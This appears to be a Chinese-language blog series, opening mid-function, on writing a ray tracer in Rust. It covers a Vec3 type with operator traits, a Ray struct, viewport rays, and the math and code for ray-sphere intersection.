let c = dot(oc, oc) - radius * radius;
let discriminant = b*b - 4.0 * a * c;
if discriminant < 0.0{
return -1.0;
}else{
return (-b - discriminant.sqrt() ) / (2.0 * a);
}
}

首先,一个向量点乘自身等于这个向量的长度。其次,对于一元二次方程的求根公式,不难发现 b 的定义里有一个乘 2,假设 $ b=2h $,则求根公式可以做以下变形:
$$
\frac {-b \pm \sqrt {b^2-4ac}}{2a}
$$

$$
=\frac {-2h \pm \sqrt {(2h)^2-4ac}}{2a}
$$

$$
=\frac {-2h \pm 2 \sqrt {h^2-ac}}{2a}
$$

$$
=\frac {-h \pm \sqrt {h^2-ac}}{a}
$$

因此我们可以简化射线与球相交的代码

[main.rs] 简化之后代码
1
2
3
4
5
6
7
8
9
10
11
12
fn hit_sphere(center: Point3, radius: f32, r: &Ray) -> f32 {
let oc: Vec3 = r.origin() - center;
let a = r.direction().length_squared();
let half_b = dot(oc, r.direction());
let c = oc.length_squared() - radius * radius;
let discriminant = half_b * half_b - a * c;
if discriminant < 0.0{
return -1.0;
}else{
return (-half_b - discriminant.sqrt() ) / a;
}
}

Github Repo


接下来是在原有图像上增加球体。一个球心为原点且半径为 R 的球,球上点的坐标$(x,y,z)$满足$x^2+y^2+z^2 = R^2$,球内点坐标满足$x^2+y^2+z^2 < R^2$,球外点坐标满足$x^2+y^2+z^2 > R^2$,如果球心C为$(C_x,C_y,C_z)$的话,则球体用$(x-C_x)^2+(y-C_y)^2+(z-C_z)^2 = R^2$表示,设某点 P 坐标$(x,y,z)$,则$\boldsymbol{P-C} = (x-C_x,y-C_y,z-C_z)$,不难看出$$(\boldsymbol{P-C}) \cdot (\boldsymbol{P-C})=(x-C_x)^2+(y-C_y)^2+(z-C_z)^2$$
所以用向量表示球体等式为
$$(\boldsymbol{P-C}) \cdot (\boldsymbol{P-C})=R^2$$
任何满足等式的点 P 都在球面上,更进一步,对于射线 $\boldsymbol P(t) =\boldsymbol A + t\boldsymbol b$(即 vol3 提到的 orig + dir*t),如果 P(t) 与球有交点,则
$$(\boldsymbol P(t)-\boldsymbol C)(\boldsymbol P(t)-\boldsymbol C) = R^2$$

$$(\boldsymbol A + t\boldsymbol b)(\boldsymbol A + t\boldsymbol b) = R^2$$
将等式以 $t$ 为因变量展开
$$
t^2\boldsymbol b \cdot \boldsymbol b
+2t \boldsymbol b \cdot (\boldsymbol A - \boldsymbol C)
+(\boldsymbol A - \boldsymbol C)(\boldsymbol A - \boldsymbol C)
-R^2
=0
$$
这是关于 $t$ 的一元二次方程,根据$\boldsymbol A,\boldsymbol b,\boldsymbol C,R$的值会有零个实根(无交点)、一个实根(一个交点)、两个实根(两个交点)三种情况

我画的示意图稍微与原版有出入,原版看上去像是在 $\boldsymbol b$ 不动的情况下移动 $\boldsymbol A$,但是我认为保持起点 $\boldsymbol A$ 不动更加有利于接下来的理解。
根据上文所述,对 main.rs 进行更改,增加一个 hit_sphere() 方法,在 ray_color() 中修改返回值。

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fn hit_sphere(center: Point3, radius: f32, r: &Ray) -> bool {
let oc: Vec3 = r.origin() - center;
let a = dot(r.direction(), r.direction());
let b = 2.0 * dot(oc, r.direction());
let c = dot(oc, oc) - radius * radius;
let discriminant = b*b - 4.0 * a * c; //二次方程解的情况讨论
return discriminant > 0.0;
}
fn ray_color(r: &Ray) -> Color {
if hit_sphere(Vec3(0.0,0.0,-1.0), 0.5, r){
return Vec3(1.0, 0.0, 0.0);
}
let unit_direction = unit_vector(r.direction());
let t = 0.5 * (unit_direction.y() + 1.0);
(1.0 - t) * Vec3(1.0, 1.0, 1.0) + t * Vec3(0.5, 0.7, 1.0)
}


图像上的圆被红色(255,0,0)覆盖,像是反射或者光影都没有,而且还有一些问题,当圆心为(0,0,1)时,程序输出的结果与上图一致,但是现实中并非如此,在观察点观察方向相反方向的物体是不会呈现在画面上的。

Github Repo


定义一个 Ray 结构体表示射线,分为两个字段,orig 表示射线的起点,dir 表示射线的方向,定义一个方法at(t),输出 orig + dir*t,使其能够表示由原点与方向确定的唯一直线上的所有点。

[rayh.rs] 定义 Ray 结构体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
use ray::Color;
use ray::Point3;
use ray::Vec3;

pub struct Ray {
pub orig: Point3,
pub dir: Vec3,
}

impl Default for Ray {
fn default() -> Self {
Ray {
orig: Default::default(),
dir: Default::default(),
}
}
}

impl Ray {
pub fn new(origin: &Point3, direction: &Vec3) -> Self {
Ray {
orig: origin.clone(),
dir: direction.clone(),
}
}

pub fn origin(&self) -> Point3 {
self.orig
}

pub fn direction(&self) -> Vec3 {
self.dir
}

pub fn at(&self, t: f32) -> Point3 {
self.orig + t * self.dir
}
}

ray tracer 分为三个步骤,计算从眼睛到像素的射线,确定与射线有交点的物品,计算交点处的颜色。
首先把图像投影在三维空间的一个平面上,这个平面的长宽比和渲染图片相同,投影平面与投影点之间的举例记为一个单位,称为焦长,即下图的 F 所表示。在(0,0,0)处设置观察点,从图像左下角开始,遍历屏幕,并使用沿屏幕两侧的两个偏移矢量在屏幕上移动射线端点。

更改后的 main 代码如下:

[main.rs]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
mod color;
mod rayh;
use color::*;
use ray::*;
use rayh::*;

const IMAGE_WIDTH: u16 = 400;
const ASPECT_RATIO: f32 = 16.0 / 9.0;

fn ray_color(r: &Ray) -> Color {
let unit_direction = unit_vector(r.direction());
let t = 0.5 * (unit_direction.y() + 1.0);
(1.0 - t) * Vec3(1.0, 1.0, 1.0) + t * Vec3(0.5, 0.7, 1.0)
}
fn main() {
let IMAGE_HEIGHT = unsafe {
(IMAGE_WIDTH as f32 / ASPECT_RATIO).to_int_unchecked::<u16>()
}; //unsafe 函数无法使用 const 定义
println! {"P3\n{} {}\n255",IMAGE_WIDTH,IMAGE_HEIGHT};

let viewport_height = 2.0;
let viewport_width: f32 = ASPECT_RATIO * viewport_height;
let focal_length = 1.0;

let origin: Point3 = Vec3(0.0, 0.0, 0.0);
let horizontal = Vec3(viewport_width, 0.0, 0.0);
let vertical = Vec3(0.0, viewport_height, 0.0);
let lower_left_corner =
origin - horizontal / 2 as f32 - vertical / 2 as f32 - Vec3(0.0, 0.0, focal_length);

for j in (0..IMAGE_HEIGHT).rev() {
eprintln!("\rScanlines remaining:{}", j);
for i in 0..IMAGE_WIDTH {
let u = i as f32 / (IMAGE_WIDTH - 1) as f32;
let v = j as f32 / (IMAGE_HEIGHT - 1) as f32;
let r = Ray {
orig: origin,
dir: lower_left_corner + u * horizontal + v * vertical - origin,
};
let pixel_color = ray_color(&r);
print!("{}", write_color(pixel_color));
}
}
eprintln!("\nDone");
}

所得图片如下

ray_color(r) 方法根据 r 的射线方向的 y 坐标确定白色与蓝色的混合程度,y 的值越大,越趋近于蓝色。如果将 main.rs 第十三行改成(1.0 - t) * Vec3(0.2, 0.9, 0.2) + t * Vec3(0.2, 0.0, 1.0)结果如下

Github Repo


定义 Vec3 使用了元组结构体,其中每个字段的类型都为 f32,对 Vec3 进行初始化调用定义, 实现加、减、取反、数乘、复合算数赋值(关于自定义运算符 Trait 可在 https://doc.rust-lang.org 找到)、点乘与叉乘的方法,并且定义了 Vec3 的两个 type alias Color 与 Point3.

[lib.rs] 对 Vec3 结构体进行定义,定义 Vec3 的一些简单方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
use std::ops::{Add,AddAssign,Div,DivAssign,Mul,MulAssign,Neg,Sub};

#[derive(Debug, PartialEq, Clone, Copy)]
pub struct Vec3(pub f32, pub f32, pub f32);

impl Default for Vec3 {
fn default() -> Self {
Vec3(0.0, 0.0, 0.0)
}
} //没有必要

impl Vec3 {
pub fn new(e0: f32, e1: f32, e2: f32) -> Vec3 {
Vec3(e0, e1, e2)
}
pub fn x(&self) -> f32 {
self.0
}
pub fn y(&self) -> f32 {
self.1
}
pub fn z(&self) -> f32 {
self.2
}
pub fn length_squared(&self) -> f32 {
self.0 * self.0 + self.1 * self.1 + self.2 * self.2
}
pub fn length(&self) -> f32 {
self.length_squared().sqrt()
}
}

关于 Vec3 类的构造方式有两种,一种是直接 let v = Vec3(2.0,3.0,4.0);,另一种是 let v = Vec3::new(2.0,3.0,4.0);,我原本在第四行定义的为pub struct Vec3(f32, f32, f32);,这种定义方法会导致在其他 crate 中无法使用第一种构造方法,只能使用第二种。

[lib.rs] 定义 Vec3 的加减取反 Trait
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
impl Neg for Vec3 {
type Output = Self;

fn neg(self) -> Self {
Vec3(-self.0, -self.1, -self.2)
}
}

impl Add for Vec3 {
type Output = Vec3;
fn add(self, other: Self) -> Self {
Vec3(self.0 + other.0, self.1 + other.1, self.2 + other.2)
}
}

impl Sub for Vec3 {
type Output = Vec3;

fn sub(self, other: Self) -> Self {
Vec3(self.0 - other.0, self.1 - other.1, self.2 - other.2)
}
}
[lib.rs] 定义 Vec3 的数乘除 Trait
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
impl Mul for Vec3 {
type Output = Vec3;

fn mul(self, other: Vec3) -> Self {
Vec3(self.0 * other.0, self.1 * other.1, self.2 * other.2)
}
}

impl Mul<f32> for Vec3 {
type Output = Self;

fn mul(self, other: f32) -> Self {
Vec3(self.0 * other, self.1 * other, self.2 * other)
}
}

impl Mul<Vec3> for f32 {
type Output = Vec3;

fn mul(self, other: Vec3) -> Vec3 {
other * self
}
}

impl Div<f32> for Vec3 {
type Output = Self;

fn div(self, other: f32) -> Self {
self * (1.0 / other)
}
}

关于 Vec3 的乘法 Trait,要注意的是需要定义两次,因为乘法左右两边数据结构不同,需要定义f32*Vec3 与 Vec3*f32

[lib.rs] 定义 Vec3 的复合算数赋值 Trait
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
impl AddAssign<Vec3> for Vec3 {
fn add_assign(&mut self, other: Vec3) {
*self = Self(self.0 + other.0, self.1 + other.1, self.2 + other.2);
}
}

impl MulAssign<f32> for Vec3 {
fn mul_assign(&mut self, other: f32) {
*self = Self(self.0 * other, self.1 * other, self.2 * other);
}
}

impl DivAssign<f32> for Vec3 {
fn div_assign(&mut self, other: f32) {
*self *= 1.0 / other;
}
}
[lib.rs] 实现 Vec3 的点乘叉乘和单位向量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pub fn dot(u: Vec3, v: Vec3) -> f32 {
u.0 * v.0 + u.1 * v.1 + u.2 * v.2
}

pub fn cross(u: Vec3, v: Vec3) -> Vec3 {
Vec3(
u.1 * v.2 - u.2 * v.1,
u.2 * v.0 - u.0 * v.2,
u.0 * v.1 - u.1 * v.0,
)
}

pub fn unit_vector(u: Vec3) -> Vec3 {
u / u.length()
}

pub type Point3 = Vec3;
pub type Color = Vec3;
[color.rs] 规范返回值
1
2
3
4
5
6
7
8
9
10
11
12
use ray::Color;

pub fn write_color(pixel_color: Color) -> String {
unsafe {
format!(
"{} {} {}\n",
(255.999 * pixel_color.x()).to_int_unchecked::<u16>(),
(255.999 * pixel_color.y()).to_int_unchecked::<u16>(),
(255.999 * pixel_color.z()).to_int_unchecked::<u16>()
)
}
}
[main.rs] 重构 main 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mod color;
mod rayh;
use color::*;
use ray::Vec3;

const IMAGE_WIDTH: u16 = 256;
const IMAGE_HEIGHT: u16 = 256;

fn main() {
println! {"P3\n{} {}\n255",IMAGE_WIDTH,IMAGE_HEIGHT};
for j in (0..IMAGE_HEIGHT).rev() {
eprintln!("\rScanlines remaining:{}", j);
for i in 0..IMAGE_WIDTH {
let pixel_color = Vec3::new(
i as f32 / (IMAGE_WIDTH - 1) as f32,
j as f32 / (IMAGE_HEIGHT - 1) as f32,
0.25 as f32,
);
print!("{}", write_color(pixel_color));
}
}
eprintln!("\nDone");
}